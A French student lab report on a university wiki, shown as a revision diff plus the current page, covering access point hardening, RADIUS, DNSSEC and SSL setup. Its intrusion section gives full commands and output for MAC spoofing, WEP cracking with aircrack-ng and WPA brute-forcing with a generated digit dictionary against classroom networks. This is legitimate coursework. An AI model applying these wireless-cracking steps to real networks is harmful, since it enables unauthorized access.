TP sysres IMA2a5 2015/2016 G3 : Différence entre versions
(37 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
− | |||
<br /> | <br /> | ||
− | + | Ce mini projet a pour but de nous donner des notion en sécurité informatique. | |
− | < | + | |
+ | <h1>Configuration du point d’accès</h1> | ||
+ | |||
+ | <h2>Restriction par adresse MAC </h2> | ||
Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves : | Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves : | ||
Ligne 15 : | Ligne 17 : | ||
</table> | </table> | ||
− | < | + | On récupère les adresses mac comme ci dessous. |
+ | <pre> | ||
+ | pifou@heron:~$ su | ||
+ | Mot de passe : | ||
+ | root@heron:/home/pifou# ifconfig | ||
+ | lo Link encap:Boucle locale | ||
+ | inet adr:127.0.0.1 Masque:255.0.0.0 | ||
+ | adr inet6: ::1/128 Scope:Hôte | ||
+ | UP LOOPBACK RUNNING MTU:65536 Metric:1 | ||
+ | RX packets:2348 errors:0 dropped:0 overruns:0 frame:0 | ||
+ | TX packets:2348 errors:0 dropped:0 overruns:0 carrier:0 | ||
+ | collisions:0 lg file transmission:0 | ||
+ | RX bytes:244556 (238.8 KiB) TX bytes:244556 (238.8 KiB) | ||
+ | |||
+ | wlan0 Link encap:Ethernet HWaddr 00:22:43:43:e7:7d | ||
+ | inet adr:172.26.79.61 Bcast:172.26.79.255 Masque:255.255.240.0 | ||
+ | adr inet6: fe80::222:43ff:fe43:e77d/64 Scope:Lien | ||
+ | adr inet6: 2001:660:4401:6006:222:43ff:fe43:e77d/64 Scope:Global | ||
+ | UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 | ||
+ | RX packets:12046 errors:0 dropped:1471 overruns:0 frame:0 | ||
+ | TX packets:9787 errors:0 dropped:0 overruns:0 carrier:0 | ||
+ | collisions:0 lg file transmission:1000 | ||
+ | RX bytes:7742849 (7.3 MiB) TX bytes:1442360 (1.3 MiB) | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | <h3>Configuration du point d’accès Cisco </h3> | ||
Conexion a la borne Cisco : | Conexion a la borne Cisco : | ||
-Branchement en comunication serie sur le port RJ45 (Console de la Cisco). | -Branchement en comunication serie sur le port RJ45 (Console de la Cisco). | ||
Ligne 59 : | Ligne 87 : | ||
</pre> | </pre> | ||
− | < | + | Pour voir si des machines sont connecté sur le point d’accès |
+ | </pre> | ||
+ | sh do11 associations | ||
+ | </pre> | ||
+ | |||
+ | <h3>Configuration du Wifi sur l'eeePC</h3> | ||
+ | Cette partie me sert a valider le bon fonctionnement de mon point d’accès. | ||
+ | Je l'a réutiliserais dans la partie d'intrusion par adresse MAC. | ||
+ | |||
+ | Configuration: | ||
+ | <pre> | ||
+ | root@heron:/home/pifou# cat /etc/network/interfaces | ||
+ | source /etc/network/interfaces.d/* | ||
+ | |||
+ | # The loopback network interface | ||
+ | auto lo | ||
+ | iface lo inet loopback | ||
+ | |||
+ | # Ethernet interface | ||
+ | #auto eth0 | ||
+ | #iface eth0 inet static | ||
+ | # address 172.26.79.241 | ||
+ | # netmask 255.255.240.0 | ||
+ | # gateway 172.26.79.254 | ||
+ | |||
+ | auto wlan0 | ||
+ | iface wlan0 inet static | ||
+ | wireless-mode managed | ||
+ | wireless-essid T2 | ||
+ | wireless-key 1111111111 | ||
+ | address 172.26.79.61 | ||
+ | netmask 255.255.240.0 | ||
+ | gateway 172.26.79.254 | ||
+ | |||
+ | </pre> | ||
+ | |||
+ | conexion au PA | ||
+ | <pre> | ||
+ | ifup wlan0 | ||
+ | iwconfig wlan0 essid T2 | ||
+ | </pre> | ||
+ | |||
+ | on est bien connecté : | ||
+ | <pre> | ||
+ | wlan0 IEEE 802.11bgn ESSID:"T2" | ||
+ | Mode:Managed Frequency:2.447 GHz Access Point: C4:14:3C:12:EA:00 | ||
+ | Bit Rate=54 Mb/s Tx-Power=20 dBm | ||
+ | Retry short limit:7 RTS thr:off Fragment thr:off | ||
+ | Encryption key:1111-1111-11 | ||
+ | Power Management:off | ||
+ | Link Quality=70/70 Signal level=-38 dBm | ||
+ | Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 | ||
+ | Tx excessive retries:0 Invalid misc:4104 Missed beacon:0 | ||
+ | |||
+ | lo no wireless extensions. | ||
+ | |||
+ | eth0 no wireless extensions. | ||
+ | </pre> | ||
+ | |||
+ | <h2>Sécurisation Wifi par WPA2-EAP</h2> | ||
+ | |||
+ | <h3>Configuration du point d’accès</h3> | ||
+ | On commence par remettre le point d’accès en configuration d'usine | ||
+ | <pre> | ||
+ | ap#erase startup-config | ||
+ | ap#reload | ||
+ | </pre> | ||
+ | |||
+ | Configuration: | ||
+ | <pre> | ||
+ | ap(config)#line vty 0 15 | ||
+ | ap(config-line)#password **** | ||
+ | |||
+ | ap(config)#ip default-gateway 172.20.99.254 | ||
+ | |||
+ | ap(config)#interface bvi 1 | ||
+ | ap(config-if)#ip ad 172.20.99.6 255.255.255.0 | ||
+ | </pre> | ||
+ | |||
+ | <h3>Configuration de la machine virtuel</h3> | ||
+ | |||
+ | On installe freeradius: | ||
+ | <pre> | ||
+ | # apt-get install FreeRadius | ||
+ | </pre> | ||
+ | |||
+ | On configure la conexion: | ||
+ | <pre> | ||
+ | # nano eap.conf | ||
+ | // on remplace | ||
+ | default_eap_type = md5 | ||
+ | // par | ||
+ | default_eap_type = peap | ||
+ | |||
+ | # nano clients.conf | ||
+ | client 172.20.99.0/24 { | ||
+ | secret = topsecret | ||
+ | shortname = wifi | ||
+ | |||
+ | # nano users | ||
+ | john Cleartext-Password := "****" | ||
+ | |||
+ | # service freeradius restart | ||
+ | </pre> | ||
+ | |||
+ | <pre> | ||
+ | |||
+ | telnet 172.20.99.5 | ||
+ | |||
+ | aaa authentication login eap_chien group radius_chien | ||
+ | radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key secret_chien | ||
+ | aaa group server radius radius_chien | ||
+ | server 193.48.57.181 auth-port 1812 acct-port 1813 | ||
+ | |||
+ | dot11 ssid SSID_Chien | ||
+ | vlan 6 | ||
+ | authentication open eap eap_chien | ||
+ | authentication network-eap eap_chien | ||
+ | authentication key-management wpa | ||
+ | mbssid guest-mode | ||
+ | |||
+ | ssid SSID_Chien | ||
+ | int dot11Radio 0.6 | ||
+ | encryption vlan 6 mode ciphers aes-ccm tkip | ||
+ | encapsulation dot1Q 6 | ||
+ | bridge-group 6 | ||
+ | |||
+ | exit | ||
+ | int gig0.6 | ||
+ | </pre> | ||
+ | |||
+ | <h3>Configuration du eeePc</h3> | ||
− | |||
+ | <h1>Installation des systèmes d'exploitation </h1> | ||
+ | Dans ce chapitre je vais installer deux système d'exploitation , Il s'agit de Debian 8. | ||
+ | Dans un premier temps j’installerais une machine virtuel Xen sur la cordouan, le but étant par la suite de réaliser un serveur web sécurisé. | ||
+ | Dans une seconde partie j’installerais Debian 8 sur un des nouveau pc HP que nous avons reçut, nous nous en serviront pour la partie des tests d'intrusions. | ||
+ | |||
+ | <h2>Installation de la machine virtuel</h2> | ||
+ | Cette partie concerne l’installation du machine virtuel Xen. | ||
+ | Nous installons Xen car celui-ci permet de faire de la paravirtualisation. | ||
+ | Nous en avons besoins pour que chacun puisse installer son propre système d'exploitation et qu'ils soit utilisable en même temps | ||
+ | |||
+ | Les étapes a suivre pour l’installation de Xen sur cordouan: | ||
<pre> | <pre> | ||
// Conexion au serveur | // Conexion au serveur | ||
Ligne 77 : | Ligne 246 : | ||
tail -f /var/log/xen-tools/chien.log | tail -f /var/log/xen-tools/chien.log | ||
+ | root@cordouan:~# cd /etc/xen/ | ||
+ | root@cordouan:/etc/xen# vim chien.cfg | ||
+ | // on met plus de memoire => 1024 | ||
+ | // conexion en mode bridge=IMA2a | ||
+ | |||
+ | root@cordouan:/etc/xen# xl list | ||
+ | root@cordouan:/etc/xen# xl create chien.cfg | ||
</pre> | </pre> | ||
+ | |||
+ | connexion à notre MV: | ||
+ | <pre> | ||
+ | ssh root@cordouan.insecserv.deule.net | ||
+ | root@cordouan:/etc/xen# xl console chien | ||
+ | </pre> | ||
+ | |||
+ | Configuration de Xen: | ||
+ | - On autorise les connexion ssh en root | ||
+ | - On retire Network Manger pour configurer la connexion au réseau manuellement | ||
+ | <pre> | ||
+ | # /etc/ssh/sshd_config | ||
+ | # PermitRootLogin yes | ||
+ | |||
+ | # if down eth0 | ||
+ | # ifup etho | ||
+ | # apt-get purge network-manage systemd | ||
+ | # inittable | ||
+ | // fin ligne tty0 ==> hvc0 | ||
+ | </pre> | ||
+ | |||
+ | <pre> | ||
+ | // Configuration de eth0 | ||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 193.48.57.181 | ||
+ | netmask 255.255.255.240 | ||
+ | gatway 193.48.57.190 | ||
+ | |||
+ | root@chien:~# ifdown eth0 | ||
+ | root@chien:~# ifup eth0 | ||
+ | |||
+ | |||
+ | root@chien:~# apt-get install vim strace tcpdump | ||
+ | root@chien:~# apt-get install host | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | |||
+ | <h1>Services Internet </h1> | ||
+ | |||
+ | <h2>Serveur DNS</h2> | ||
+ | modification du fichier /var/cache/bind option | ||
+ | <pre> | ||
+ | cat /etc/bind/named.conf.options | ||
+ | **** afficher le fichier **** | ||
+ | |||
+ | host -t ni love-in-the-world.space | ||
+ | host -t any love-in-the-world.space | ||
+ | |||
+ | cat db.love-in-the-world | ||
+ | **** afficher le fichier **** | ||
+ | |||
+ | cat /var/log/daemon.log | ||
+ | **** afficher le fichier **** | ||
+ | |||
+ | # service bind9 stop | ||
+ | # service bind9 start | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | Géneration d'une clés assymetrique: | ||
+ | <pre> | ||
+ | # dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE love-in-the-world.space | ||
+ | Generating key pair...........+++ ....................+++ | ||
+ | Klove-in-the-world.space.+005+14281 | ||
+ | # mv Klove-in-the-world.space.+005+14281.key love-in-the-world-ksk.key | ||
+ | # mv Klove-in-the-world.space.+005+14281.private love-in-the-world-ksk.private | ||
+ | |||
+ | # dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE love-in-the-world.space | ||
+ | Generating key pair........++++++ .....................++++++ | ||
+ | Klove-in-the-world.space.+005+37866 | ||
+ | # mv Klove-in-the-world.space.+005+37866.key love-in-the-world-zsk.key | ||
+ | # mv Klove-in-the-world.space.+005+37866.private love-in-the-world-zsk.private | ||
+ | |||
+ | # dnssec-signzone -o love-in-the-world.space -k love-in-the-world-ksk ../db.love-in-the-world love-in-the-world-zsk | ||
+ | Verifying the zone using the following algorithms: RSASHA1. | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ../db.love-in-the-world.signed | ||
+ | root@chien:/etc/bind/love-in-the-world# | ||
+ | |||
+ | :/etc/bind# nano named.conf.local | ||
+ | zone "love-in-the-world.space"{ | ||
+ | |||
+ | type master; | ||
+ | file "/etc/bind/db.love-in-the-world.signed"; | ||
+ | }; | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | ensuite on copie le contenu du fichier: | ||
+ | dans gandi.net | ||
+ | |||
+ | |||
+ | on peut verifier que notre dns est secure a l'adresse suivante: | ||
+ | http://dnsviz.net/d/love-in-the-world.space/dnssec/ | ||
+ | |||
+ | |||
+ | <h2>Recuperation du certificat SSL</h2> | ||
+ | Cette étape consiste a récupérer le certificat SSL en vu authentifier et de sécuriser la connexion a notre serveur | ||
+ | |||
+ | Instalation et Configuration de la boite Mail | ||
+ | <pre> | ||
+ | # apt-get install postfix bsd-mailx | ||
+ | </pre> | ||
+ | |||
+ | configuration de la boite mail | ||
+ | <pre> | ||
+ | # nano /etc/aliases | ||
+ | postmaster: root | ||
+ | admin: root | ||
+ | |||
+ | # newaliases | ||
+ | # mailx | ||
+ | </pre> | ||
+ | |||
+ | Je m'envoi un mail pour verifier le bon fonctionement de la boite mail | ||
+ | E-mail: admin@love-in-the-world.space | ||
+ | |||
+ | Verfification: | ||
+ | <pre> | ||
+ | # mailx | ||
+ | From Maxime.Strunc@polytech-lille.net Fri Nov 20 13:22:24 2015 | ||
+ | Return-Path: <Maxime.Strunc@polytech-lille.net> | ||
+ | X-Original-To: admin@love-in-the-world.space | ||
+ | Delivered-To: admin@love-in-the-world.space | ||
+ | Received: from peronne.escaut.net (peronne.escaut.net [193.48.57.26]) | ||
+ | by chien (Postfix) with ESMTP id E7DA93421F | ||
+ | for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 13:22:24 +0100 (CET) | ||
+ | X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr | ||
+ | X-Virus-Scanned: Debian amavisd-new at polytech-lille.fr | ||
+ | Received: from webmailportal.polytech-lille.fr (hirson.escaut.net [193.48.57.37]) | ||
+ | (Authenticated sender: mstrunc) | ||
+ | by peronne.escaut.net (Postfix) with ESMTPA id 305081C38 | ||
+ | for <admin@love-in-the-world.space>; Fri, 20 Nov 2015 11:33:52 +0100 (CET) | ||
+ | MIME-Version: 1.0 | ||
+ | Content-Type: text/plain; charset=UTF-8; | ||
+ | format=flowed | ||
+ | Content-Transfer-Encoding: 7bit | ||
+ | Date: Fri, 20 Nov 2015 11:33:52 +0100 | ||
+ | From: Maxime Strunc <Maxime.Strunc@polytech-lille.net> | ||
+ | To: <admin@love-in-the-world.space> | ||
+ | Subject: Hello | ||
+ | Message-ID: <478f6b7d2da9875c32551984f2b92f9f@polytech-lille.net> | ||
+ | X-Sender: Maxime.Strunc@polytech-lille.net | ||
+ | User-Agent: Roundcube Webmail/0.7.2 | ||
+ | Status: RO | ||
+ | |||
+ | Hey it's working | ||
+ | </pre> | ||
+ | |||
+ | - Recupération du Certificat: | ||
+ | Je vais sur Gandi.net | ||
+ | |||
+ | génération de la CSR | ||
+ | <pre> | ||
+ | # openssl req -nodes -newkey rsa:2048 -sha256 -keyout chien.key -out chien.csr | ||
+ | // Il ya plusieurs informations à rentrer, il y en a une très important : c'et le mail : | ||
+ | admin@love-in-the-world.space | ||
+ | </pre> | ||
+ | apres avoir renseigner tout les champs, | ||
+ | j'obtient la CSR: | ||
+ | <pre> | ||
+ | -----BEGIN CERTIFICATE REQUEST----- | ||
+ | ... texte crypter... | ||
+ | -----END CERTIFICATE REQUEST----- | ||
+ | </pre> | ||
+ | Je la copie dans l'emplacement voulue sur gandi.net | ||
+ | |||
+ | Gandi m'envoi un mail a l'adresse informée "admin@love-in-the-world.space" | ||
+ | Il faut donc clique sur un lien de confimation et entrer la cles fournit dans le mail. | ||
+ | Une fois le certificat reçut, Je le copie et le colle dans le chien.crt et gandi.crt | ||
+ | |||
+ | <pre> | ||
+ | #nano 000-domain.tld-ssl.conf | ||
+ | <VirtualHost 193.48.57.181:443> | ||
+ | |||
+ | ServerName www.love-in-the-world.space | ||
+ | ServerAlias love-in-the-world.space | ||
+ | DocumentRoot /var/www/html/ | ||
+ | CustomLog /var/log/apache2/secure_access.log combined | ||
+ | |||
+ | SSLEngine on | ||
+ | SSLCertificateFile /root/chien.crt | ||
+ | SSLCertificateKeyFile /root/chien.key | ||
+ | SSLCertificateChainFile /root/gandi.crt | ||
+ | SSLVerifyClient None | ||
+ | |||
+ | </VirtualHost> | ||
+ | |||
+ | #a2enmod ssl | ||
+ | #service apache2 reload | ||
+ | </pre> | ||
+ | |||
+ | <h1>Test d'intrusion </h1> | ||
+ | |||
+ | <h2>Intrusion par changement d'adresse MAC</h2> | ||
+ | |||
+ | En remplacant l'adresse mac de mon eeepc par une adresses MAC que le point d’accès T1 autorise je pourrais me connecter sur celui-ci. | ||
+ | |||
+ | Changement d'adresse MAC: | ||
+ | <pre> | ||
+ | - ifconfig wlan0 down | ||
+ | - ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1 //adresse mac de Gauthier | ||
+ | - ifconfig wlan0 up | ||
+ | </pre> | ||
+ | |||
+ | On change la cles par: 0000000000 | ||
+ | et le SSID : T1 | ||
+ | <pre> | ||
+ | # cat /etc/network/interfaces | ||
+ | # source /etc/network/interfaces.d/* | ||
+ | |||
+ | # The loopback network interface | ||
+ | # auto lo | ||
+ | # iface lo inet loopback | ||
+ | |||
+ | Ethernet interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 172.26.79.241 | ||
+ | netmask 255.255.240.0 | ||
+ | gateway 172.26.79.254 | ||
+ | |||
+ | auto wlan0 | ||
+ | iface wlan0 inet static | ||
+ | wireless-mode managed | ||
+ | wireless-essid T1 | ||
+ | wireless-key 0000000000 | ||
+ | address 172.26.79.61 | ||
+ | netmask 255.255.240.0 | ||
+ | gateway 172.26.79.254 | ||
+ | |||
+ | </pre> | ||
+ | Apres cette modification J'arrive a me connecter sur le point d’accès de Marouane(T1). | ||
+ | |||
+ | <h2>Préparation aux cassage de clés</h2> | ||
+ | - Instalation aircrack-ng | ||
+ | <pre> | ||
+ | # apt-get install aircrack-ng firmware ralink | ||
+ | </pre> | ||
+ | |||
+ | - Instalation du port usb-Wifi | ||
+ | <pre> | ||
+ | apt-get install firmware ralink | ||
+ | airmon-ng start wlan1 | ||
+ | </pre> | ||
+ | |||
+ | <h2>Cassage d'une cles WEP </h2> | ||
+ | |||
+ | Je scan le reseaux Wifi: | ||
+ | <pre> | ||
+ | airodump-ng mon0 --channel 5 | ||
+ | </pre> | ||
+ | |||
+ | J’identifie le ssid de cracotte06 et je met les donnée dans un fichier nommé fcracotte06 | ||
+ | <pre> | ||
+ | |||
+ |
root@Discus:/home/pifou# airodump-ng mon0 --channel 5 --bssid 04:DA:D2:9C:50:55 -w | ||
+ | fcracotte06 | ||
+ | |||
+ | CH 5 ][ Elapsed: 0 s ][ 2015-11-20 09:05 | ||
+ | |||
+ | BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID | ||
+ | |||
+ | 04:DA:D2:9C:50:55 -55 28 29 420 116 5 54e. WEP WEP cracotte06 | ||
+ | |||
+ | BSSID STATION PWR Rate Lost Frames Probe | ||
+ | |||
+ | 04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -48 36e-54e 80 456 | ||
+ | </pre> | ||
+ | La capture a donc commencé | ||
+ | |||
+ | Dans un autre terminal: | ||
+ | Je vais analyser mon fichier de capture pour casser la cles. | ||
+ | <pre> | ||
+ | # ls | ||
+ | # aircrack-ng fcracotte06-01.cap | ||
+ | </pre> | ||
+ | apres quelque minutes on obtient la cles | ||
+ | <pre> | ||
+ | [00:06:58] Tested 965565 keys (got 60459 IVs) | ||
+ | |||
+ | KB depth byte(vote) | ||
+ | 0 0/ 1 AA(85504) EA(73728) 60(70144) 0C(69120) 33(68608) | ||
+ | 1 0/ 1 AA(77824) 25(74496) BC(70400) 6C(70144) 3B(69632) | ||
+ | 2 0/ 1 AA(79872) 3E(70912) 76(70400) 5C(70144) 01(68864) | ||
+ | 3 4/ 5 AA(71680) FA(68608) 41(68352) 38(68096) 49(68096) | ||
+ | 4 0/ 1 AA(86016) A1(70912) 80(69632) 2A(68352) 65(68352) | ||
+ | 5 0/ 1 AA(85760) AF(73216) C6(71424) 5A(71168) 25(70400) | ||
+ | 6 0/ 1 AA(75520) 26(70400) CB(70400) 46(69888) 1C(69632) | ||
+ | 7 0/ 1 AA(83968) 18(71680) 4C(71424) 74(70144) 1E(69632) | ||
+ | 8 0/ 1 AA(82176) 6F(70912) F7(70144) FB(69632) 17(68864) | ||
+ | 9 0/ 3 D7(73216) 97(71168) A4(70400) BA(70144) FE(69632) | ||
+ | 10 0/ 1 5F(78336) D6(72960) 46(71424) CB(68608) 8D(68352) | ||
+ | 11 13/ 1 48(67072) 60(67072) F6(66816) AC(66560) 2B(66048) | ||
+ | 12 0/ 1 BB(79580) A7(71096) 8B(69960) 13(69196) 68(68424) | ||
+ | |||
+ | KEY FOUND! [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB:BB:BB ] | ||
+ | Decrypted correctly: 100% | ||
+ | </pre> | ||
+ | |||
+ | <h2>Cassage d'une cles WPA</h2> | ||
+ | Cette partie consiste a casser une clés WPA par force brute. | ||
+ | Je m'interesse plus particulierement a caracotte06 comme précédament. | ||
+ | |||
+ | Je vais dans une premier temps ecouter ce qui a sur ce réseau on suppose que quelle qu'un se connecte dessus régulièrement, le but étant de récupérer le handshake. | ||
+ | |||
+ | Recuperation du Handshake: | ||
+ | <pre> | ||
+ | airodump-ng --encrypt wpa mon0 | ||
+ | |||
+ | # airodump-ng --encrypt wpa mon0 -c 7 --bssid 04:DA:D2:9C:50:55 -w wpacracotte06 | ||
+ | |||
+ | CH 7 ][ Elapsed: 26 mins ][ 2015-11-20 10:40 ][ WPA handshake: 04:DA:D2:9C:50:55 | ||
+ | |||
+ | BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID | ||
+ | |||
+ | 04:DA:D2:9C:50:55 -70 22 9735 1905 18 7 54e. WPA2 CCMP PSK cracotte06 | ||
+ | |||
+ | BSSID STATION PWR Rate Lost Frames Probe | ||
+ | |||
+ | 04:DA:D2:9C:50:55 00:0F:B5:92:23:74 -70 54e- 1e 904 1249
| ||
+ | </pre> | ||
+ | |||
+ | |||
+ | creation d'un dictionaire : | ||
+ | Je Créer un dictionaire pour comparer le handshake que j'ai recuperer avec des cles possible. | ||
+ | la cles etant comprise entre 00000000 et 99999999 je réalise un petit programme qui affiche toutes ces valeurs: | ||
+ | <pre> | ||
+ | #include <stdio.h> | ||
+ | int main () | ||
+ | { | ||
+ | int val=0; | ||
+ | for(val=0;val<99999999 ;val++) | ||
+ | {printf("%08d\n",val); } | ||
+ | return 0; | ||
+ | } | ||
+ | </pre> | ||
+ | Compilation : | ||
+ | </pre> | ||
+ | # gcc -Wall Dictionnaire.c -o Dictionnaire | ||
+ | </pre> | ||
+ | |||
+ | Création : | ||
+ | On exécute le programme Dictionnaire et on renvoi les résultats dans le fichier Dico | ||
+ | <pre> | ||
+ | # ./Dictionnaire > Dico | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | |||
+ | Cassage de la cles: | ||
+ | après avoir récuperer le Handshake du Wifi carotte06 | ||
+ | Je vais casser la clés en utilisant mon dictionnaire "Dico" le fichier "wpacracotte06-02.cap" | ||
+ | <pre> | ||
+ | aircrack-ng -w Dico wpacracotte06-02.cap | ||
+ | </pre> | ||
+ | |||
+ | après quelle que heures j'obtiens la clès: | ||
+ | <pre> | ||
+ | Aircrack-ng 1.2 beta3 | ||
+ | |||
+ | |||
+ | [02:00:57] 12399908 keys tested (1782.72 k/s) | ||
+ | |||
+ | |||
+ | KEY FOUND! [ 12399906 ] | ||
+ | |||
+ | |||
+ | Master Key : 4B 0E E0 87 93 06 14 C0 E2 64 55 76 95 9A 30 6B | ||
+ | 75 7C 8F CC B4 F8 2B 0D 78 3A 57 04 79 C2 F9 72 | ||
+ | |||
+ | Transient Key : 63 0F 9B D4 8B 09 C9 2C D5 E2 56 3D C7 21 AC 9E | ||
+ | 94 5C E6 F7 19 FB EA 52 3F 02 C4 10 72 4F B8 7E | ||
+ | F1 92 CC 2C 02 E1 F7 47 C1 1D F2 FD CE EF F5 5E | ||
+ | 22 24 87 42 46 4F D6 38 DF D4 CC 6D 61 4E 1D 7E | ||
+ | |||
+ | EAPOL HMAC : A3 D3 FD F5 09 AC B9 96 F5 0E 93 0A 3C 63 36 CD | ||
+ | </pre> | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | mettre serveur messagerie | ||
+ | demander certificat | ||
+ | |||
+ | securisation wifi | ||
+ | WPA-EAP |
Version actuelle datée du 27 novembre 2015 à 15:01
Ce mini projet a pour but de nous donner des notion en sécurité informatique.
Sommaire
Configuration du point d’accès
Restriction par adresse MAC
Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :
Nom | adresse MAC |
---|---|
Nounours | 00:15:af:e7::19:f3 |
Jeuno | 00:15:af:e6:ed:b1 |
John | 00:22:43:43:e7:7d |
Loki | 00:15:af:e7:64:03 |
On récupère les adresses mac comme ci dessous.
pifou@heron:~$ su Mot de passe : root@heron:/home/pifou# ifconfig lo Link encap:Boucle locale inet adr:127.0.0.1 Masque:255.0.0.0 adr inet6: ::1/128 Scope:Hôte UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:2348 errors:0 dropped:0 overruns:0 frame:0 TX packets:2348 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:0 RX bytes:244556 (238.8 KiB) TX bytes:244556 (238.8 KiB) wlan0 Link encap:Ethernet HWaddr 00:22:43:43:e7:7d inet adr:172.26.79.61 Bcast:172.26.79.255 Masque:255.255.240.0 adr inet6: fe80::222:43ff:fe43:e77d/64 Scope:Lien adr inet6: 2001:660:4401:6006:222:43ff:fe43:e77d/64 Scope:Global UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:12046 errors:0 dropped:1471 overruns:0 frame:0 TX packets:9787 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:1000 RX bytes:7742849 (7.3 MiB) TX bytes:1442360 (1.3 MiB)
Configuration du point d’accès Cisco
Conexion a la borne Cisco : -Branchement en comunication serie sur le port RJ45 (Console de la Cisco).
pifou@zabeth04:~$ su pifou@zabeth04:~$ minicom // conexion au point Cisco ap#enable ap#Config t
Il faut autoriser les adresses mac désignés à ce connecter aux point d’accès et refuser l’accès des autres
ap(config)#no access-list 701 deny 0000.0000.0000 ffff.ffff.ffff ap(config)#access-list 701 permit 0015.afe7.6403 0000.0000.0000 ap(config)#access-list 701 permit 0015.afe6.edb1 0000.0000.0000 ap(config)#access-list 701 permit 0015.afe7.19f3 0000.0000.0000 ap(config)#access-list 701 permit 0015.afe6.edb1 0000.0000.0000 ap(config)#access-list 701 deny 0000.0000.0000 ffff.ffff.ffff
Configuration du SSID
ap(config)#dot11 ssid T2 ap(config-ssid)#dot11 ssid T2 ap(config-ssid)#authentication open ap(config-ssid)#guest-mode ap(config)#interface dot11Radio0 ap(config-if)#ssid T2 ap(config-if)#encryption key 1 ap(config-if)#encryption key 1 size 40bit 0 01abcd1532 transmit-key ap(config-if)#encryption mode Wep mandatory end ap(config)#interface Dot11Radio0 ap(config-if)#no shutdown
Pour voir si des machines sont connecté sur le point d’accès </pre> sh do11 associations </pre>
Configuration du Wifi sur l'eeePC
Cette partie me sert a valider le bon fonctionnement de mon point d’accès. Je l'a réutiliserais dans la partie d'intrusion par adresse MAC.
Configuration:
root@heron:/home/pifou# cat /etc/network/interfaces source /etc/network/interfaces.d/* # The loopback network interface auto lo iface lo inet loopback # Ethernet interface #auto eth0 #iface eth0 inet static # address 172.26.79.241 # netmask 255.255.240.0 # gateway 172.26.79.254 auto wlan0 iface wlan0 inet static wireless-mode managed wireless-essid T2 wireless-key 1111111111 address 172.26.79.61 netmask 255.255.240.0 gateway 172.26.79.254
conexion au PA
ifup wlan0 iwconfig wlan0 essid T2
on est bien connecté :
wlan0 IEEE 802.11bgn ESSID:"T2" Mode:Managed Frequency:2.447 GHz Access Point: C4:14:3C:12:EA:00 Bit Rate=54 Mb/s Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:1111-1111-11 Power Management:off Link Quality=70/70 Signal level=-38 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:4104 Missed beacon:0 lo no wireless extensions. eth0 no wireless extensions.
Sécurisation Wifi par WPA2-EAP
Configuration du point d’accès
On commence par remettre le point d’accès en configuration d'usine
ap#erase startup-config ap#reload
Configuration:
ap(config)#line vty 0 15 ap(config-line)#password **** ap(config)#ip default-gateway 172.20.99.254 ap(config)#interface bvi 1 ap(config-if)#ip ad 172.20.99.6 255.255.255.0
Configuration de la machine virtuel
On installe freeradius:
# apt-get install FreeRadius
On configure la conexion:
# nano eap.conf // on remplace default_eap_type = md5 // par default_eap_type = peap # nano clients.conf client 172.20.99.0/24 { secret = topsecret shortname = wifi # nano users john Cleartext-Password := "****" # service freeradius restart
telnet 172.20.99.5 aaa authentication login eap_chien group radius_chien radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key secret_chien aaa group server radius radius_chien server 193.48.57.181 auth-port 1812 acct-port 1813 dot11 ssid SSID_Chien vlan 6 authentication open eap eap_chien authentication network-eap eap_chien authentication key-management wpa mbssid guest-mode ssid SSID_Chien int dot11Radio 0.6 encryption vlan 6 mode ciphers aes-ccm tkip encapsulation dot1Q 6 bridge-group 6 exit int gig0.6
Configuration du eeePc
Installation des systèmes d'exploitation
Dans ce chapitre je vais installer deux système d'exploitation , Il s'agit de Debian 8. Dans un premier temps j’installerais une machine virtuel Xen sur la cordouan, le but étant par la suite de réaliser un serveur web sécurisé. Dans une seconde partie j’installerais Debian 8 sur un des nouveau pc HP que nous avons reçut, nous nous en serviront pour la partie des tests d'intrusions.
Installation de la machine virtuel
Cette partie concerne l’installation du machine virtuel Xen. Nous installons Xen car celui-ci permet de faire de la paravirtualisation. Nous en avons besoins pour que chacun puisse installer son propre système d'exploitation et qu'ils soit utilisable en même temps
Les étapes a suivre pour l’installation de Xen sur cordouan:
